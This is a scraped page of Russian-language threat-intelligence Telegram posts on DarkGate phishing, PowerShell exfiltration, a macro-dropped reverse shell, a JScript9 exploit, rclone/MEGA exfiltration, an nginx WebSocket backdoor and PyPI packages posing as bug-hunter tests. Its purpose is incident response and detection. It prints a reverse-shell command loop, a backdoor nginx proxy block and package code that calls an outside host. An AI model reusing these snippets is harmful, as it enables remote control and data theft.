⛩ Злоумышленники ищут новые способы «открыть ворота»
Недавно мы обнаружили необычную схему атаки. Злоумышленники сначала устанавливают контакт с жертвой, усыпляют ее бдительность, представляясь некоей заинтересованной компанией, а после получения ответа отправляют цели ожидаемое ей вредоносное вложение.
Срочность открытия вложения обозначается неявно: например, отправитель уходит в отпуск и нужно сегодня подготовить коммерческое предложение, а для этого необходимо открыть вложение.
Киберпреступники работают в часовом поясе между UTC−4 и UTC+4 и владеют русским языком. Видно, что текст набирался вручную, без переводчика, поэтому там есть опечатка.
👉 Интересен также и выбор жертвы. Сейчас как никогда актуально импортозамещение — существует большое количество запросов к дистрибьюторам отечественного ПО. Взлом подобных организаций может открыть путь ко множеству других компаний, в том числе и в критически важных областях, через атаки типа trusted relationship.
В указанном случае злоумышленники представились компанией «Промышленная автоматизация» и использовали домен
К письму был приложен архив Promautomatic.zip, который содержит DOCX-документ Kartochka_Promautomatic.docx (карточку компании) и исполняемый файл:
Файл является бэкдором DarkGate, обычно используемым для кражи конфиденциальной информации и получения удаленного доступа к системе. DarkGate распространяется по модели malware as a service, поэтому идентифицировать злоумышленников затруднительно.
Атакующие использовали управляющий символ RTLO (Right-To-Left Override) для того, чтобы изменить порядок следования последних знаков:
Таким образом, у жертвы создается ощущение, что это PDF-документ, а не исполняемый файл.
IoCs:
#TI #DarkGate #Phishing
@ptescalator
Недавно мы обнаружили необычную схему атаки. Злоумышленники сначала устанавливают контакт с жертвой, усыпляют ее бдительность, представляясь некоей заинтересованной компанией, а после получения ответа отправляют цели ожидаемое ей вредоносное вложение.
Срочность открытия вложения обозначается неявно: например, отправитель уходит в отпуск и нужно сегодня подготовить коммерческое предложение, а для этого необходимо открыть вложение.
Киберпреступники работают в часовом поясе между UTC−4 и UTC+4 и владеют русским языком. Видно, что текст набирался вручную, без переводчика, поэтому там есть опечатка.
👉 Интересен также и выбор жертвы. Сейчас как никогда актуально импортозамещение — существует большое количество запросов к дистрибьюторам отечественного ПО. Взлом подобных организаций может открыть путь ко множеству других компаний, в том числе и в критически важных областях, через атаки типа trusted relationship.
В указанном случае злоумышленники представились компанией «Промышленная автоматизация» и использовали домен
promautomautic.ru. Он отличается от реального всего одной буквой и был зарегистрирован незадолго до атаки.К письму был приложен архив Promautomatic.zip, который содержит DOCX-документ Kartochka_Promautomatic.docx (карточку компании) и исполняемый файл:
Scan_Promautomatic_P7_Office_241_06_13.06.2024_ann←fdp.exe
Файл является бэкдором DarkGate, обычно используемым для кражи конфиденциальной информации и получения удаленного доступа к системе. DarkGate распространяется по модели malware as a service, поэтому идентифицировать злоумышленников затруднительно.
Атакующие использовали управляющий символ RTLO (Right-To-Left Override) для того, чтобы изменить порядок следования последних знаков:
Scan_Promautomatic_P7_Office_241_06_13.06.2024_annexe.pdfТаким образом, у жертвы создается ощущение, что это PDF-документ, а не исполняемый файл.
IoCs:
promautomautic.ru
45.151.62.66
f81593ac3586e61eb9ee1b332eca2afc
5d586682ff20db587d991716dafa0b231ed7b2f8
f127c29f095f1771c6afc476e4b3adf3442d7f014f39cc47875226f651d64c92
35bd6ff114bbaeaa1b8f959e00042a33
00da82325086c940306d9df23fb8f8d09e044290
70afae352a5f8b2aaab952f2e702aac2fd0b4e38781f3a778b1756e67f779d54
#TI #DarkGate #Phishing
@ptescalator
🔥14🫡8👍6💔1
ℹ️ Эксфильтрация с помощью Powershell/C#
В процессе расследования инцидента при анализе журналов событий Windows на одном из скомпрометированных узлов мы обнаружили факт выполнения скрипта PowerShell, осуществляющего эксфильтрацию чувствительных файлов с сетевых папок на подконтрольный злоумышленникам сервер🧐
Необходимая сетевая папка подключается командлетом
Программа на C# рекурсивно перебирает файлы, расположенные в заданной и во вложенных папках, и выгружает на подконтрольный веб-сервер те из них, для которых выполняются следующие условия:
• размер не превышает 750 000 байт.
• последняя модификация файла была не позже чем 130 дней назад.
📑 В процессе перебора информация записывается в
Содержимое каждого из файлов, соответствующих описанным выше условиям, отправляется POST-запросом на веб-сервер злоумышленников в формате
В параметр
После обработки и выгрузки всех файлов на сервер выгружается также и файл
🔦 В обнаружении подобной активности может помочь анализ следующих событий журналов безопасности Windows:
1️⃣ Sysmon event ID 11: создание файлов в пользовательской папке
2️⃣ Sysmon event ID 3: сетевые соединения от имени процесса
3️⃣ Security event ID 4656, 4663: запрос дескриптора и получение доступа к файлам в сетевой папке процессом
4️⃣ Windows PowerShell event ID 800 и Microsoft-Windows-PowerShell/Operational event ID 4103, 4104, содержащие характерные для скрипта строки. В частности, названия переменных и методов, определенных в коде:
💡 Индикатором возможной вредоносной активности также служит наличие в сетевом трафике большого количества HTTP-запросов методом POST, URL которых содержат фрагменты, закодированные Base64.
👉 SIGMA-правило
IoC:
#detect #dfir #PowerShell #win
@ptescalator
В процессе расследования инцидента при анализе журналов событий Windows на одном из скомпрометированных узлов мы обнаружили факт выполнения скрипта PowerShell, осуществляющего эксфильтрацию чувствительных файлов с сетевых папок на подконтрольный злоумышленникам сервер
Необходимая сетевая папка подключается командлетом
New-SmbMapping, используются учетные данные, скомпрометированные на одном из предыдущих этапов атаки. После выполняется код на языке C#, определенный внутри PowerShell-скрипта и содержащий основную логику выгрузки файлов.Программа на C# рекурсивно перебирает файлы, расположенные в заданной и во вложенных папках, и выгружает на подконтрольный веб-сервер те из них, для которых выполняются следующие условия:
• размер не превышает 750 000 байт.
• последняя модификация файла была не позже чем 130 дней назад.
📑 В процессе перебора информация записывается в
%APPDATA%\tree.ini с указанием полного пути к файлам, их размеров в байтах, даты последней модификации и даты последнего доступа к ним.Содержимое каждого из файлов, соответствующих описанным выше условиям, отправляется POST-запросом на веб-сервер злоумышленников в формате
multipart/form-data частями по 16 384 байта.В параметр
filename передается идентификатор файла, который представляет собой закодированную Base64 строку формата:
fullpath&&last_write_time&&file_size&&host_name&¤t_user&&drive_serial_number
После обработки и выгрузки всех файлов на сервер выгружается также и файл
tree.ini, после чего удаляется из системы.🔦 В обнаружении подобной активности может помочь анализ следующих событий журналов безопасности Windows:
1️⃣ Sysmon event ID 11: создание файлов в пользовательской папке
%AppData% от имени процесса powershell.exe. В нашем случае создаются файлы с именами, определенными в коде: tree.ini, profiles_int.ini (БД, в которую записываются хеш-суммы MD5 идентификаторов файлов), sys_error.log и sys_error_ps.log (файлы журналов).2️⃣ Sysmon event ID 3: сетевые соединения от имени процесса
powershell.exe к узлам внутренней сети по порту 445 TCP.3️⃣ Security event ID 4656, 4663: запрос дескриптора и получение доступа к файлам в сетевой папке процессом
powershell.exe.4️⃣ Windows PowerShell event ID 800 и Microsoft-Windows-PowerShell/Operational event ID 4103, 4104, содержащие характерные для скрипта строки. В частности, названия переменных и методов, определенных в коде:
C#: ___directoriesToUpload___, ___fileBase64Id___, ___WritePartInfo, ___SendTreeFileAndTryRemove
💡 Индикатором возможной вредоносной активности также служит наличие в сетевом трафике большого количества HTTP-запросов методом POST, URL которых содержат фрагменты, закодированные Base64.
👉 SIGMA-правило
IoC:
94.158.247.19
#detect #dfir #PowerShell #win
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥7👍3🆒2
Этот артефакт представляет собой базу данных (
reports.db), в которой хранятся сведения о работе приложений, в том числе о файлах и веб-ресурсах, с которыми взаимодействовал тот или иной процесс.
{"application.description":"Windows PowerShell","application.directory":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0","application.name":"powershell.exe","eventId":154,"object.directory":"\\\\10.50.1.39\\E$\\Очень важные документы\\отчет.xlsx//","object.name":"encrypted","timestamp":"2024-05-06T15:44:15.305346Z","user.name":"COMPANY\\admin","user.type":1}
{"application.description":"Windows PowerShell","application.directory":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0","application.name":"powershell.exe","eventId":154,"object.directory":"http://94.158.247.19/files/upload/4c3df659-4299-4f3d-a159-5cca5215f74f///WREQ//XFwxMC40MC4xMC4zNFxFJFzQntGH0LXQvdGMINCy0LDQttC90YvQtSDQtNC+0LrRg9C80LXQvdGC0Ytc0L7RgtGH0LXRgi54bHN4JiYyOC4wMi4yMDI0IDc6NDI6MTImJjM2NzQyJiZWTTAwMSYmYWRtaW4mJkRGNDUzNjI0//","object.name":"encrypted","timestamp":"2024-05-06T15:44:15.305346Z","user.name":"COMPANY\\admin","user.type":1}
Приведенные выше события, полученные после парсинга базы данных одним из наших инструментов, свидетельствуют о факте доступа процесса
powershell.exe к документу в сетевой папке и к веб-странице.🖥 URL, отраженный в поле
object.directory, имеет следующий формат:
ip_address/files/upload/guid///WREQ//base64_id//
🧑💻 После декодирования из Base64 получим следующую строку:
\\10.40.10.34\E$\Очень важные документы\отчет.xlsx&&28.02.2024 7:42:12&&36742&&VM001&&admin&&DF453624
Запрос эксфильтрации содержит разделенные двойным амперсандом путь к файлу, дату модификации, размер файла в байтах, имя узла, имя пользователя и серийный номер жесткого диска.
Таким образом,
reports.db — прекрасный источник данных, в котором можно найти:• факты применения этого скрипта для эксфильтрации;
• перечень выгруженных ресурсов;
• учетную запись, под которой велась хакерская активность.
#detect #dfir #PowerShell #win
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥10👍5👏3👀2
Товарищи защитники, где вы ждете пятничные инциденты?
Anonymous Poll
17%
В баре 🍺
22%
Дома 🏠
3%
В офисе 🏢
2%
За рулем 🚘
2%
В сауне 🧖♂️
5%
На Бали 🏖
9%
В интерфейсе SIEM 👨💻
5%
В консоли Kali 🖕
18%
Не ждем 😒
17%
Выключил инфру и не жду 😏
😁13
Где искать сетевые индикаторы компрометации на Windows? Например, в кэше DNS 💡
Кэш DNS — механизм кэширования записей соответствия доменных имен IP-адресам (и не только). Он нужен для того, чтобы система каждый раз не обращалась к DNS-серверам за этой информацией. Посмотреть содержимое кэша можно с помощью команды
У каждой DNS-записи есть параметр TTL (time to live), который определяет, как долго запись остается действительной. По истечении TTL запись «протухает» — и система вновь вынуждена запрашивать данные у DNS-сервера.
Windows хранит перечень кэшированных доменов в виде связного списка, а запрос содержимого кэша состоит из двух этапов: на первом этапе с помощью системного вызова
😐 Здесь-то и кроется подвох. Если домен содержится в списке кэшированных, а его TTL истекло, то команда
Чтобы получить полный список кэшированных доменов (даже «протухших»), можно использовать вызов
Попробуйте выполнить этот скрипт, а потом сравните с результатами вызова
Happy hunting!
#tips #hunting #win #dfir #dotnet #triage
@ptescalator
Кэш DNS — механизм кэширования записей соответствия доменных имен IP-адресам (и не только). Он нужен для того, чтобы система каждый раз не обращалась к DNS-серверам за этой информацией. Посмотреть содержимое кэша можно с помощью команды
ipconfig /displaydns, но не спешите это делать.У каждой DNS-записи есть параметр TTL (time to live), который определяет, как долго запись остается действительной. По истечении TTL запись «протухает» — и система вновь вынуждена запрашивать данные у DNS-сервера.
Windows хранит перечень кэшированных доменов в виде связного списка, а запрос содержимого кэша состоит из двух этапов: на первом этапе с помощью системного вызова
DnsGetCacheDataTable формируется полный список кэшированных доменов, затем для каждого домена из списка происходит резолв из кэша с помощью системного вызова DnsQuery с флагом DNS_QUERY_NO_WIRE_QUERY. Таким образом для каждого кэшированного домена из кэша извлекаются соответствующие ресурсные записи: A, AAAA, TXT и так далее.ipconfig /displaydns не только не покажет такой домен в списке, но и удалит его из списка кэшированных доменов, тем самым уничтожив потенциальные улики.Чтобы получить полный список кэшированных доменов (даже «протухших»), можно использовать вызов
DnsGetCacheDataTable. Ниже приведен скрипт для PowerShell, реализующий эту функцию:
Add-Type -TypeDefinition @"
using System;
using System.Runtime.InteropServices;
namespace DnsCache
{
[StructLayout(LayoutKind.Sequential)]
public struct DnsCacheEntry
{
public IntPtr PNext;
public IntPtr Name;
public ushort Type;
public ushort DataLength;
public uint Flags;
}
public class Program
{
[DllImport("dnsapi.dll")]
public static extern void DnsGetCacheDataTable(ref DnsCacheEntry entry);
public static void GetCache()
{
DnsCacheEntry a = new DnsCacheEntry();
DnsGetCacheDataTable(ref a);
while (true)
{
Console.WriteLine("RR name: {0}", Marshal.PtrToStringAuto(a.Name));
if (a.PNext == IntPtr.Zero) break;
a = Marshal.PtrToStructure<DnsCacheEntry>(a.PNext);
}
}
}
}
"@
[DnsCache.Program]::GetCache()
Попробуйте выполнить этот скрипт, а потом сравните с результатами вызова
ipconfig /displaydns (именно в таком порядке).Happy hunting!
#tips #hunting #win #dfir #dotnet #triage
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥29👍6❤3💯2👀2
!!р^д**н**c 🤔
Характерным примером того, как злоумышленники используют актуальные события для распространения вредоносных программ, может послужить обнаруженный нами вредоносный документ.
Он содержит текст муниципального правового акта, который не отображается корректно, в связи с чем пользователя побуждают «Включить содержимое» и разрешить таким образом выполнение встроенного в документ макроса.
Встроенный макрос приводит документ к читаемому виду путем простой замены комбинаций символов на буквы (
Полезная нагрузка находится в содержимом документа после строки
•
•
Команды передаются в формате XML и содержат несколько атрибутов:
•
•
•
Для блокировки автоматического выполнения макросов можно воспользоваться руководством от Microsoft.
IoCs:
#malware #news #detect #ti
@ptescalator
Характерным примером того, как злоумышленники используют актуальные события для распространения вредоносных программ, может послужить обнаруженный нами вредоносный документ.
Он содержит текст муниципального правового акта, который не отображается корректно, в связи с чем пользователя побуждают «Включить содержимое» и разрешить таким образом выполнение встроенного в документ макроса.
Встроенный макрос приводит документ к читаемому виду путем простой замены комбинаций символов на буквы (
;; → у ; ** → o ; ?? → a и т. д.), а также извлекает и закрепляет в автозагрузке полезную нагрузку — достаточно простой реверс-шелл — в виде PowerShell-скрипта. Полезная нагрузка находится в содержимом документа после строки
DigitalRSASignature и состоит из двух частей, закодированных в Base64 и разделенных строкой CHECKSUM — <part1>CHECKSUM<part2>, которые декодируются и записываются в файлы:•
<part1> -> %USERPROFILE%\\UserCache.ini.hta •
<part2> -> %USERPROFILE%\\UserCache.iniUserCache.ini.hta прописывается макросом в автозапуск Windows Explorer через ключ реестра HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\LOAD. Назначение данного файла — запустить исполнение файла UserCache.ini.UserCache.ini представляет собой легковесный реверс-шелл, который использует узел 94.103.85.47 (Vdsina, Moscow) как управляющий сервер. Данный инструмент получает и выполняет набор команд с http://94.103.85.47:80/api/texts/<client_id>, где <client_id> = <имя компьютера>_<имя пользователя>_<серийник тома жесткого диска>.Команды передаются в формате XML и содержат несколько атрибутов:
•
CountRuns — сколько раз нужно выполнить команду;•
Interval — интервал ожидания в минутах между последовательными выполнениями одной команды;•
Module — закодированная в Base64 команда.
...
try {
$Commands = [xml]$Configs;
$cycle_num = 0;
while($true){
$num_commands_completely_executed = 0;
$num_commands_executed = 0;
foreach ($CommandConfig in $Commands.Configs.Config)
{
$num_commands_executed += 1;
$quot = [int][Math]::Floor( $cycle_num / [int]$CommandConfig.Interval);
$rem = [int][Math]::Floor( $cycle_num % [int]$CommandConfig.Interval);
if($quot -lt [int]$Command.CountRuns -and $rem -eq 0){
$command_expr = FromBase64 $CommandConfig.Module;
try{
Invoke-Expression($command_expr);
}
catch {}
}
if(([int]$CommandConfig.Interval * [int]$CommandConfig.CountRuns) -lt [int]$cycle_num){
$num_commands_completely_executed += 1;
}
}
Start-Sleep 60;
if([int]$num_commands_completely_executed -eq [int]$num_commands_executed){
break;
}
$cycle_num += 1;
}
}
catch {}
...
Для блокировки автоматического выполнения макросов можно воспользоваться руководством от Microsoft.
IoCs:
Постановление_по_ГО_updated.doc
13252199b18d5257a60f57de95d8c6be7d7973df7f957bca8c2f31e15fcc947b
UserCache.ini.hta
e80e0b57cf3f304cb7d6dba4b0bb65da18f4d32770a3d6f3780fdab12d2617c9
UserCache.ini
ccff23a8f7c510b49264cdacf9ab6b43e9be0671670ce2eec75851920e6378b7
94.103.85.47
#malware #news #detect #ti
@ptescalator
🔥23🤯5✍4👍4👀2
Чем бы вы изгоняли нечисть из инфраструктуры, если можно использовать только один из вариантов 😦
Anonymous Poll
24%
YARA
4%
IDA PRO
6%
Grep
8%
MITRE ATT&CK®
7%
VirusTotal
4%
Excel
2%
Hex-редактор
26%
Чеснок
13%
Натальные карты
5%
Expulso Hackerum
😁35🔥1💅1
В рамках ежемесячного просмотра свежезапатченных уязвимостей мы в команде ESC-VR обращаем пристальное внимание на уязвимости, помеченные как эксплуатируемые в дикой природе. Такие уязвимости становятся нашей главной целью, особенно если отсутствует какая бы то ни было информация о публичных эксплойтах.
Уязвимость CVE-2024-38178 — это повреждение памяти типа Type Confusion (CWE-843). Говоря по-простому: ситуация, когда область памяти, занимаемая объектом типа A, интерпретируется кодом как объект типа B.
Проанализировав патч, мы обнаружили, что изменения сделаны в функции, отвечающей за оптимизацию работы с массивами, в частности в функции
GlobOpt::OptArraySrc. После исправления добавилась обработка ситуации, когда оптимизатор не замечает, что иногда тип переменной может изменяться в runtime.Если вы следите за деятельностью
Google ProjectZero так же активно, как и мы, то вы уже обо всем догадались 😉Функция
GlobOpt::OptArraySrc уже фигурировала в ITW-эксплойте, а именно в посте, описывающем CVE-2022-41128. В посте есть
PoC, который демонстрирует эксплуатацию CVE-2022–41128. Взяв из него ключевые строки, мы провели поиск в публичных и приватных источниках по файлам, загруженным недавно, используя следующие подстроки:•
6E6577204F626A656374287B0D0A20 •
206E657720496E7433324172726179Мы нашли всего один файл. Он был загружен из
KR, и эксплойт, вероятно, использовался в атаках в этой стране, о чем косвенно свидетельствует информация из бюллетени Microsoft. Прогнав файл в системах с патчем и без него, мы быстро поняли, что это именно то, что мы искали. В связи с большой схожестью с CVE-2022-41128 мы считаем, что и эта уязвимость была найдена через фаззинг, который проводился с использованием
PoC для CVE-2022-41128 и CVE-2021-34480.Эксплойт создает ситуацию, когда JIT-компилятор убежден, что переменная X имеет тип
js::TypedArray<int,0>, но на самом деле X содержит значение Y типа js::DynamicObj. Далее эксплойт использует доступ по индексу 4, 11, 12, чтобы модифицировать внутренние поля массива js::JavaScriptNativeArray, находящегося в одном из свойств значения Y. Модифицируемые поля хранят размер массива. В результате эксплойт дает возможность для доступа за пределы этого массива для того, чтобы получить примитивы на относительную запись и чтение. Дальнейшее описание заняло бы неприлично много места в рамках поста, поэтому stay tunned и happy hunting 🙂
YARA-правило (на файл):
rule exploit_CVE_2024_38178 {
strings:
$a = { 6E6577204F626A656374287B0D0A20 }
$b = { 206E657720496E7433324172726179 }
condition:
all of them
}
IoCs:
SHA256: 736092B71A9686FDE43D3C4ABD941A6774721B90B17D946C9D05AF19C84DF0A4
http://img[.]mobonad[.]com/images/20230912/43
#escvr #itw #jscript9 #reverse
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥17⚡4👍4👏2💩1🤡1🆒1
😈 Эксфильтрация не по плану
При расследовании инцидентов мы периодически сталкиваемся с эксфильтрацией злоумышленниками данных перед шифрованием инфраструктуры.
Одним из инструментов эксфильтрации может выступать утилита rclone, которая часто используется в связке с MEGA. Хакеры делают выводы и удаляют утилиты после применения.
Тут на помощь приходит журнал USN:
Что полезного мы можем узнать:
• факт применения rclone;
• дату и время ее использования;
• имена файлов (могут быть модифицированы, что является новым индикатором).
🤷♂️ Конфиг восстановить не удалось. Что же делать?
В MFT маленькие файлы (несколько сотен байтов) целиком хранятся в соответствующей записи. Учитывая указанную особенность, воспользуемся утилитой MFTECmd с ключом
Пример содержимого конфигурационного файла:
Получив информацию об учетной записи, вы можете подать жалобу в MEGA и постараться предотвратить появление данных в публичном доступе.
✨ Бонус
Для распознавания данных в поле pass можно воспользоваться одним из инструментов:
• rclone obscure;
• песочница Go.
При передаче в облачное хранилище файлы (а также их имена) могут шифроваться. Для решения этой проблемы существует утилита DecodeRclone.
Таким образом, обнаружили:
• факт выгрузки данных;
• время выгрузки;
• учетную запись злодеев;
• перечень утекших данных (для оценки рисков, например);
• аутентификационные данные в «облаке» (для общего развития 🙂).
#tools #detect #tips #dfir
@ptescalator
При расследовании инцидентов мы периодически сталкиваемся с эксфильтрацией злоумышленниками данных перед шифрованием инфраструктуры.
Одним из инструментов эксфильтрации может выступать утилита rclone, которая часто используется в связке с MEGA. Хакеры делают выводы и удаляют утилиты после применения.
Тут на помощь приходит журнал USN:
"2024-01-01 00:05:00","rclone.exe","","File_Created","Normal","Archive"...
"2024-01-01 01:01:10","rclone","\Users\<username>\AppData\Roaming\rclone","File_Created","Normal","Directory"...
"2024-01-01 02:01:11","mega.conf","","File_Closed / File_Deleted","Normal","Archive"...
"2024-01-01 02:01:11","rclone.exe","","File_Closed / File_Deleted","Normal","Archive"...
Что полезного мы можем узнать:
• факт применения rclone;
• дату и время ее использования;
• имена файлов (могут быть модифицированы, что является новым индикатором).
🤷♂️ Конфиг восстановить не удалось. Что же делать?
В MFT маленькие файлы (несколько сотен байтов) целиком хранятся в соответствующей записи. Учитывая указанную особенность, воспользуемся утилитой MFTECmd с ключом
--dr для их восстановления и дальнейшего поиска конфига по паттерну '^(type|pass(word[0-9]?)?) \= '.Пример содержимого конфигурационного файла:
type = mega
user = evilname@evildomain
pass = qhLeOj9dBRBMCRPptaZA7rghfCkM7b_fsMR0cQ
[mega_crypt]
type = crypt
remote = mega_clear:files
password = v55MNmgFh3qEIfsNA0UtwNaRPYufBOyWNb69pOE
password2 = Ooxh0-uHI2Wb9MrrmPrTgOSsgqUN4QaKwsi0Yt4
Получив информацию об учетной записи, вы можете подать жалобу в MEGA и постараться предотвратить появление данных в публичном доступе.
✨ Бонус
Для распознавания данных в поле pass можно воспользоваться одним из инструментов:
• rclone obscure;
• песочница Go.
При передаче в облачное хранилище файлы (а также их имена) могут шифроваться. Для решения этой проблемы существует утилита DecodeRclone.
Таким образом, обнаружили:
• факт выгрузки данных;
• время выгрузки;
• учетную запись злодеев;
• перечень утекших данных (для оценки рисков, например);
• аутентификационные данные в «облаке» (для общего развития 🙂).
#tools #detect #tips #dfir
@ptescalator
👍13🔥9👀4❤1
Ауф-опрос: выберите свое любимое APT-животное 🐺
Anonymous Poll
6%
Tsirkovoy Wolf
10%
Nu Pogodi Wolf
8%
Wall Street Wolf
5%
Stepnoy Wolf
4%
Sanitar Lesa Wolf
3%
Iz Sumerek (Were)wolf
26%
Tambovskiy Wolf
7%
Strong ne tot Wolf
24%
Nu Zakhodi Esli Chto Wolf
6%
Akela promakhnylsya Wolf
😁23🤣15👍4❤2
Путешествие_Извилистых_Троп_манёвры_ExCobalt_в_атаках_на_российские.pdf
11.5 MB
Кстати, про Offzone 🙂
Обещали опубликовать в канале последнюю версию презентации с доклада про маневры ExCobalt — публикуем 🤝
В ней — про фишинг, эксплуатацию CVE-2023-38831 и CVE-2023-3519, а также другие векторы атак и инструменты группировки, обнаруженные специалистами PT ESC, о которых в докладе рассказали Владислав Лунин и Александр Бадаев.
Приятного изучения и happy hunting!
#ti #ir #hunt #detect #cve #malware #exCobalt #APT
@ptescalator
Обещали опубликовать в канале последнюю версию презентации с доклада про маневры ExCobalt — публикуем 🤝
В ней — про фишинг, эксплуатацию CVE-2023-38831 и CVE-2023-3519, а также другие векторы атак и инструменты группировки, обнаруженные специалистами PT ESC, о которых в докладе рассказали Владислав Лунин и Александр Бадаев.
Приятного изучения и happy hunting!
#ti #ir #hunt #detect #cve #malware #exCobalt #APT
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
❤14👍8🔥6🆒2
Проксирование WebSocket nginx — обнаружение полезной нагрузки 👀
Проверка конфигураций различных служб иногда помогает найти неизвестное вредоносное ПО, которое не распознается антивирусами и другими защитными средствами.
❗️ Например, в одном случае мы нашли следы присутствия злоумышленников в системе, изучив конфигурацию веб-сервера nginx.
В конфигурационном файле
В этих строках используется механизм переподключения протоколов. Начиная с версии 1.3.13 в nginx реализован режим работы, позволяющий организовать туннель между клиентом и проксируемым сервером, — WebSocket proxying.
Проксирование WebSocket активируется при получении в запросе от клиента заголовка Upgrade.
Особенностью работы этого режима является наличие следующих строк в конфигурационном файле:
Строки
Строка proxy_pass содержит путь к файлу сокета в целевой системе —
Для получения информации о процессе, использующем указанный сокет, мы воспользовались командой lsof:
И нашли процесс c PID 18653:
Далее мы нашли исполняемый файл процесса:
Файл лежал в
💡 Что мы теперь можем:
• ловить WebSocket в трафике;
• смотреть активности в системах рядом со временем деплоя бэкдора (дата создания бэкдора или модификации конфига nginx);
• проверять другие веб-серверы в инфраструктуре на предмет «расширения функциональности» ваших сервисов.
#tip #detect #hunt #dfir
@ptescalator
Проверка конфигураций различных служб иногда помогает найти неизвестное вредоносное ПО, которое не распознается антивирусами и другими защитными средствами.
❗️ Например, в одном случае мы нашли следы присутствия злоумышленников в системе, изучив конфигурацию веб-сервера nginx.
В конфигурационном файле
/etc/nginx/webserver/server.conf.d/payload.conf целевого сервера нас насторожили определенные строки.
location /ws/b3a4d3a2 {
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection "upgrade";
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $remote_addr;
access_log off;
log_not_found off;
proxy_pass http://unix:/var/run/shm/evil.sock;
}
В этих строках используется механизм переподключения протоколов. Начиная с версии 1.3.13 в nginx реализован режим работы, позволяющий организовать туннель между клиентом и проксируемым сервером, — WebSocket proxying.
Проксирование WebSocket активируется при получении в запросе от клиента заголовка Upgrade.
Особенностью работы этого режима является наличие следующих строк в конфигурационном файле:
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection "upgrade";
proxy_pass http://unix:/var/run/shm/evil.sock;
Строки
proxy_set_header служат для явной передачи веб-сервером nginx заголовка Upgrade проксируемому серверу. Их наличие в файле конфигурации обусловлено тем, что этот заголовок относится к категории заголовков hop-by-hop, которые не пересылаются прокси-серверами.Строка proxy_pass содержит путь к файлу сокета в целевой системе —
/var/run/shm/evil.sock.Для получения информации о процессе, использующем указанный сокет, мы воспользовались командой lsof:
lsof | grep /var/run/shm/evil.sock
И нашли процесс c PID 18653:
payload 18653 root 4u unix 0xffff74146a3b3743 0t0 25637138 /var/run/shm/evil.sock
Далее мы нашли исполняемый файл процесса:
lsof -p 18653 | grep cwd
Файл лежал в
/usr/bin/, и он оказался бэкдором.💡 Что мы теперь можем:
• ловить WebSocket в трафике;
• смотреть активности в системах рядом со временем деплоя бэкдора (дата создания бэкдора или модификации конфига nginx);
• проверять другие веб-серверы в инфраструктуре на предмет «расширения функциональности» ваших сервисов.
#tip #detect #hunt #dfir
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥12👍8👏4❤1
Кобальтстрайк или не кобальтстрайк 🤔
Вот в чем вопрос: aaa[.]stage[.]15790461[.]ns1[.]1U1gpUP5i8KbTVCTq9PeakbLHhZk[.]com
Вот в чем вопрос: aaa[.]stage[.]15790461[.]ns1[.]1U1gpUP5i8KbTVCTq9PeakbLHhZk[.]com
Anonymous Poll
44%
Кобальтстрайк
26%
Не кобальтстрайк
30%
Рибблстрайп
🤔8👍4😱3❤2
Страсти опенсорса: мафия, стилеры и багхантинг проектов «Яндекса» 🐱
За последние две недели в Python Package Index произошло много занятного. Мы вооружились вердиктами модели машинного обучения сервиса PT PyAnalysis, дабы рассказать вам об интересных сработках.
Багхантеры против «Яндекса»
Еще в январе 2023 года человек с ником
Описание пакетов одинаковое:
Но странно, что в метаданных PyPI-проекта автор представляется как❕
Не говоря уже о том, что
Этот человек имитирует supply-chain-атаку, регистрируя в глобальном репозитории пакет с таким же именем, как у пакета, существующего во внутреннем репозитории определенной группы разработчиков (в данном случае — команды «Яндекса»).
Установка пакета из глобального репозитория произойдет, если:
🔤 Пакетный менеджер (далее — ПМ) не умеет в расстановку приоритетов скачивания из списка репозиториев. Насчет того, что pip выбирает лучший по версии пакет из всех репозиториев, указанных в его конфиге, уже давно ведутся жаркие дискуссии. В Poetry такой проблемы нет.
🔤 ПМ не настроен на использование внутреннего репозитория. Так может быть на свежем устройстве нового коллеги, который еще не прошел гайд для новичков.
🔤 В конфиге ПМ настроено приоритетное использование внутреннего репозитория вместо глобального, но внутренний по каким-то причинам сейчас недоступен.
🔤 В конфиге ПМ настроено приоритетное использование глобального репозитория вместо внутреннего («Если пакета нет в глобальном репозитории, значит, пакет наш и его нужно установить из внутреннего»).
Конфликт очередности использования репозиториев уже был в декабре 2022 года в известной атаке на ночные релизы torch. Злоумышленник зарегистрировал в глобальном репозитории PyPI библиотеку
😰 В августе 2024 года мы заметили, что авторство одного из пакетов пользователя
Во всех этих пакетах автором указан
У нас нет подробностей того, как🐱
To be continued...
#ti #pypi #pyanalysis
@ptescalator
За последние две недели в Python Package Index произошло много занятного. Мы вооружились вердиктами модели машинного обучения сервиса PT PyAnalysis, дабы рассказать вам об интересных сработках.
Багхантеры против «Яндекса»
Еще в январе 2023 года человек с ником
yandex.bughunter зарегистрировал пять пакетов с разными вариантами текста:
import subprocess
import os
import requests
#I am bughunter
#t.a.neo@yandex.ru
print('it works!')
requests.get("https://76c4[REDACTED]f5d3.m.pipedream.net/example-package-taxi-etl")
import requests
#I am bughunter
#t.a.neo@yandex.ru
print('If you read this message and you are from Yandex write me t.a.neo@yandex.ru')
requests.get("https://76c4[REDACTED]f5d3.m.pipedream.net/dmp_suite")
Описание пакетов одинаковое:
I created this package for security testing. I am bughunter from Yandex. Но странно, что в метаданных PyPI-проекта автор представляется как
Thomas Anderson <t.a.neo@yandex.ru>, то есть использует личную почту, а не корпоративные @team.yandex.ru / @yandex-team.ru
Не говоря уже о том, что
Thomas Anderson — это тот самый мистер Андерсон из «Матрицы»...Этот человек имитирует supply-chain-атаку, регистрируя в глобальном репозитории пакет с таким же именем, как у пакета, существующего во внутреннем репозитории определенной группы разработчиков (в данном случае — команды «Яндекса»).
Установка пакета из глобального репозитория произойдет, если:
Конфликт очередности использования репозиториев уже был в декабре 2022 года в известной атаке на ночные релизы torch. Злоумышленник зарегистрировал в глобальном репозитории PyPI библиотеку
